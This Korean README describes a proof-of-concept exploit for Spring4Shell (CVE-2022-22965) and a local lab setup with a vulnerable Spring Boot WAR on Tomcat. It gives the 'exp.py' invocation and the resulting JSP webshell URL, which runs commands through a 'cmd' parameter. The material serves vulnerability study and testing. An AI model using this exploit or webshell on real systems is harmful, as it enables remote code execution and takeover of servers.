
Spring4Shell(CVE-2022-22965)의 개념 증명 익스플로잇으로, Apache Tomcat에서 취약한 Spring Boot 애플리케이션에 조작된 HTTP 요청을 통해 JSP 웹쉘을 배포합니다.
취약점 설명: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html
POC 구성: https://github.com/BobTheShoplifter/Spring4Shell-POC
JDK 11.0.14, Spring Boot 2.6.5, Apache Tomcat 9.0.60에서 테스트됨
mvn clean package를 실행하여 애플리케이션을 빌드합니다.demo-0.0.1-SNAPSHOT.war를 spring-poc.war로 이름을 변경하고 이 .war 파일을 Tomcat의 webapps 디렉토리에 복사합니다.python exp.py --url http://localhost:8080/spring-poc/greeting를 실행합니다.
漏洞存在,shell地址为:http://localhost:8080/spring-poc/tomcatwar.jsp?pwd=j&cmd=whoami 메시지가 기록됩니다.tomcatwar.jsp 파일이 Tomcat의 webapps/spring-poc 디렉토리에 생성된 것을 볼 수 있습니다. 이 디렉토리는 exp.py를 수정하여 변경할 수 있습니다.

